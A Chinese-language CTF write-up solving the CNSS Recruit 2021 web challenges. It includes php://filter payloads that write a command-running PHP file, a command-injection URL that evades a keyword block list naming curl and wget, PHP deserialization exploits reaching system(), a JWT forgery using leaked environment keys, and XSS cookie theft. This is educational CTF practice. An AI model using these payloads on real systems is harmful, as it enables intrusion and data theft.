Skip to main content

cnss2021-web部分

还差4题web没写~还是差点了捏

比赛大概是31号结束的?后面还想等wp复现捏,可惜变成难忘今宵啦

21号在群里听师傅们提到cnss,求来了链接CNSS Recruit 2021

发现很多学校的招新赛都挺有意思的,也能发现自己平时没注意到的知识点

打ctf还是得多做题,多和师傅们交流~

🙋‍ 我一定要试试 Web 方向

Web 方向做题须知

  1. Web 题目为每道题目描述里给出的链接地址所指向的 Web 应用
  2. flag 格式统一为 cnss{} 花括号中间为有意义的字符串,通常会以 _ 区分单个单词(CNSS 大小写形式都有可能,括号内包裹的内容一般会经过 leet 处理)
  3. hint 意为提示,是出题人给出的解题提示,并不要求你在 flag 提交处作答
  4. 当你成功得到 flag 时,flag 一定是以 cnss{} 的形式显示的 所以不需要自己手动添加 cnss{} (如果有那你找到的一定不是 flag

做题要求

  1. 要会看 HTML 源码
  2. 能读懂简单的 PHP 代码
  3. 懂一点点 HTTP 报文
  4. 学会使用 BurpsuiteRepeater, Intruder 模块

常用工具

  1. Burp Suite
  2. Metasploit
  3. AntSword
  4. F12 开发者工具,插件如 Hackbar

PS: 浏览器请使用 Firefox/Chrome

学习参考

  1. 学会使用 搜索引擎(尤指 Google) 搜索关键字以找到自己需要的学习资料
  2. 从别人的 博客文章/官方文档 中学习
  3. 书籍和视频中学到的大多是系统全面的知识,但是相应的效率便低了
  4. 针对性学习和系统性学习,需要每个人结合自身情况进行均衡
CNSS{VVeb_i5_v3ry_1nt3re5ting}

[👶Baby] Signin

改用post传参得到源码

<?php
error_reporting(0);
require_once("flag.php");
if($_SERVER['REQUEST_METHOD'] !=='POST'){
die("Please Change Your Method!");
exit();
}else{
if(!isset($_POST["CNSS"])){
show_source(__FILE__);
}
else if($_POST["CNSS"] === "join"){
if((isset($_GET["web"])) && (($_GET["web"]) === "like")){
setcookie("flag","0");
if($_COOKIE['flag'] === '1'){
echo $flag;
}else{show_source(__FILE__);}
}else{
show_source(__FILE__);
}
}
}

[👶Baby]D3buger

禁用右键和f12等等一系列操作

先找个页面开f12,再hackbar访问就行

flag在js里, 彩蛋是Never Gonna Give You Up - Rick Astley_bilibili

view-source:http://81.68.109.40:30001/js/fuck.js

[👶Baby]GitHacker

感谢捷宝的贡献

Git_Extract:gakki429/Git_Extract: 提取远程 git 泄露或本地 git 的工具 (github.com)

把.git目录弄下来

执行fsck(文件系统检测)命令 git fsck --lost-found 这个命令会把悬空的blob恢复文件列举出来

这时就可以通过git show 11b2d674cc83c17990150726b4653bfe3c78c807 命令查看当前哈希值对象的具体内容

[😃Easy]更坑的数学题

import requests
import re

url = 'http://81.68.109.40:30005/'
s = requests.session()
r = s.get(url)
a = eval(re.search(r'(\d+[=\-*])+\d+', r.text).group())
print(s.post(url, data={'res': a}).text)

[😃Easy]Ezp#p

<?php
error_reporting(0);
require_once("flag.php");
show_source(__FILE__);

$pass = '0e0';
$md55 = $_COOKIE['token'];
$md55 = md5($md55);

if(md5($md55) == $pass){
if(isset($_GET['query'])){
$before = $_GET['query'];
$med = 'filter';
$after = preg_replace(
"/$med/", '', $before
);
if($after === $med){
echo $flag1;
}
}
$verify = $_GET['verify'];
}

extract($_POST);

if(md5($verify) === $pass){
echo $$verify;
}


?>

poc

<?php

$pass = '0e0';

for ($i=0;$i<=100000000000;$i++){
$md55 = $i;
if(md5(md5($md55)) == $pass){
echo $i;
exit(0);
}
}

flag1:找md5(md5(xxx))为0exxx的值,这里给一个179122048,filter双写绕过

flag2:利用extract变量覆盖的特性,传入verify为flag2,pass为对应的md5值即可

[😃Easy]China Flag

如下,再次感谢捷宝作出的贡献,我还是浮躁了,整到xff就没想着尝试了==

[😮Mid]太极掌门人

<?php
error_reporting(0);
show_source(__FILE__);

function deleteDir($path) {

if (is_dir($path)) {
$dirs = scandir($path);
foreach ($dirs as $dir) {
if ($dir != '.' && $dir != '..') {
$sonDir = $path.'/'.$dir;
if (is_dir($sonDir)) {

deleteDir($sonDir);

@rmdir($sonDir);

} elseif ($sonDir !== './index.php'
&& $sonDir !== './flag.php') {

@unlink($sonDir);

}
}
}
@rmdir($path);
}
}

$devil = '<?php exit;?>';

$goods = $_POST['goods'];

file_put_contents($_POST['train'], $devil . $goods);

sleep(1);

deleteDir('.');

?>

参考文章:

  1. <?php exit;?>绕过 - cooyf's blog
  2. 谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)
  3. 探索php伪协议以及死亡绕过 - FreeBuf网络安全行业门户

解法1:base64编码与解码

原理是base64不会解码< > ? ; 空格这些,那么把代码base64编码,再用php://filter协议写入就行

ps:注意base64是以4byte一组解码,<?php exit;?>除了< > ? ; 空格这些,一共7个字符,那么给它随便加一个a就行

payload:

goods=aPD9waHAgc3lzdGVtKCJjYXQgLi9mbGFnLnBocCIpOw==&train=php://filter/write=convert.base64-decode/resource=a.php

如上生成的代码就会是:

<?php exit;?>aPD9waHAgc3lzdGVtKCJjYXQgLi9mbGFnLnBocCIpOw==

然后base64解码后写入a.php里
(我写的是<?php system("cat ./flag.php");)

解法2:strip_tags()字符串操作函数

strip_tags  (PHP 4, PHP 5, PHP 7, PHP 8)

strip_tags — 从字符串中去除 HTML 和 PHP 标记

<?php exit; ?>实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。

跟着P神的文章测试一下:

<?php 
echo readfile('php://filter/read=string.strip_tags/resource=php://input');

可以看到传入的<?php exit; ?>已经被去除了 但我们要写入的一句话也是php代码,如果使用了strip_tags,一句话同样会被去除掉

不过php://filter允许使用多个过滤器,只需要使用|间隔开来就好 先用strip_tags去除<?php exit; ?>,再用base64-decode解码咱们传入的base64编码后的一句话

payload:

goods=PD9waHAgc3lzdGVtKCJjYXQgLi9mbGFnLnBocCIpOw==&train=php://filter/write=string.strip_tags|convert.base64-decode/resource=a.php

解法3:string.rot13

<?php exit; ?>在经过rot13编码后会变成<?cuc rkvg; ?>, 在PHP不开启short_open_tag时,php不认识这个字符串,当然也就不会执行了:

用的是过滤器string.rot13, 需要php不开启短标签(short_open_tag)即php.ini中short_open_tag = Off

goods=PD9waHAgc3lzdGVtKCJjYXQgLi9mbGFnLnBocCIpOw==&train=php://filter/write=string.rot13/resource=a.php

拿flag

因为会删掉当前目录下的文件,所以得条件竞争访问,上面的payload都可以用

post,然后bp抓包,爆破模块疯狂重发包~

访问a.php,查看源代码

[😮Mid]BlackPage

<!-- \<\?phps
$file = $_GET["file"];
$blacklist = "(**blacklist**)";
if (preg_match("/".$blacklist."/is",$file) == 1){
exit("Nooo,You can't read it.");
}else{
include $file;
}
//你能读到 mybackdoor.php 吗?

---->

伪协议读mybackdoor.php

http://121.41.7.149:65002/?file=php://filter/convert.base64-encode/resource=mybackdoor.php

得到mybackdoor.php源码:

<?php
error_reporting(0);
function blacklist($cmd){
$filter = "(\\<|\\>|Fl4g|php|curl| |0x|\\\\|python|gcc|less|root|etc|pass|http|ftp|cd|tcp|udp|cat|×|flag|ph|hp|wget|type|ty|\\$\\{IFS\\}|index|\\*)";
if (preg_match("/".$filter."/is",$cmd)==1){
exit('Go out! This black page does not belong to you!');
}
else{
system($cmd);
}
}
blacklist($_GET['cmd']);
?>

''绕过关键字过滤、%09(制表符)绕过空格、占位符?匹配

payload:

http://121.41.7.149:65002/mybackdoor.php?cmd=ca''t%09/Fl??????????

[😯Mid]bestLanguage

<?php

error_reporting(0);

class superGate{
public $gay = true;

function __destruct(){
echo file_get_contents("/flag");
die();
}
}

$p = $_GET['p'];
$honey = unserialize($p);
if(preg_match("/superGate/i", serialize($honey))){
echo "no";
throw Exception();
}

show_source(__FILE__);

superGate是肯定要的--,但是会触发throw Exception();抛出异常从而停止执行代码

先本地测试一下,报错是调用了未定义的函数 Exception()

那么定义一个就行--

poc:

<?php

class superGate{
public $gay = true;
function __construct(){
$this->gay = new Exception("666");
}
}

$a = new superGate();
echo serialize($a);

[😮Mid]To_be_Admin

/read接口可以读文件,/admin判断用户

一开始是想jwt的,但是爆破爆不出来密钥,猜测是得read读取一些什么

突破口是,捷宝搜到说可以读环境变量/proc/self/environ

http://121.41.7.149:65003/read?file=/proc/self/environ

发现有个key,作为密钥,jwtio改写一下就可

[😮Mid]To_be_Admin_Again

# index.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
highlight_file(__FILE__);
class CNSS{
private $username = 'guest';
private $code = 'phpinfo();';
public function __construct(){
$this->username = $username;
$this->code = $cmd;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if($this->username === 'admin'){
eval($this->code);
}
}
}

// You must be interested in save.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
highlight_file(__FILE__);
if (isset($_GET['cnss'])) {
$_SESSION['cnss'] = $_GET['cnss'];
}

逻辑很简单,绕过__wakeup使得username为admin即可

主要利用点在于:两个文件的session.serializehandler不同引起的反序列化: 带你走进PHP session反序列化漏洞 - 先知社区 (aliyun.com) [深入浅析PHP的session反序列化漏洞问题_php实例脚本之家 (jb51.net)](https://www.jb51.net/article/116246.htm)

步骤如下:

poc:

<?php

class CNSS{
private $username = 'admin';
private $code = 'system("cat /flag");';
}


$a = new CNSS();
echo urlencode('|'.serialize($a));
  1. 生成payload,记得改属性数目来绕过__wakeup
  2. 访问save.php借助cnss传payload,让网页获得seesion数据
  3. 再从save.php跳转至index.php,确保session不变,由于引擎不同就会触发反序列化,然后再触发__destruct()方法执行eval()

payload:

http://121.41.7.149:65004/save.php?cnss=%7CO%3A4%3A%22CNSS%22%3A3%3A%7Bs%3A14%3A%22%00CNSS%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A10%3A%22%00CNSS%00code%22%3Bs%3A20%3A%22system%28%22cat+%2Fflag%22%29%3B%22%3B%7D

然后再访问:即可触发

http://121.41.7.149:65004/

[😮Mid]To_be_Admin_Again_and_Again

明显的xss

xss平台弹cookie过来就可以

https://xss.pt/xss.php

验证码用脚本跑:

import hashlib
l = 'qwertyuiopasdfghjklzxcvbnm1234567890'
for i in l:
for j in l:
for k in l:
for m in l:
for n in l:
for o in l:
for p in l:
for q in l:
f = i + j + k + m + n + o + p + q
sha = hashlib.sha256(f.encode(encoding='UTF-8')).hexdigest()
if sha[:6] == 'bacbd7':
print(f)
print(sha)
exit(0)

拿到cookie后访问/admin即可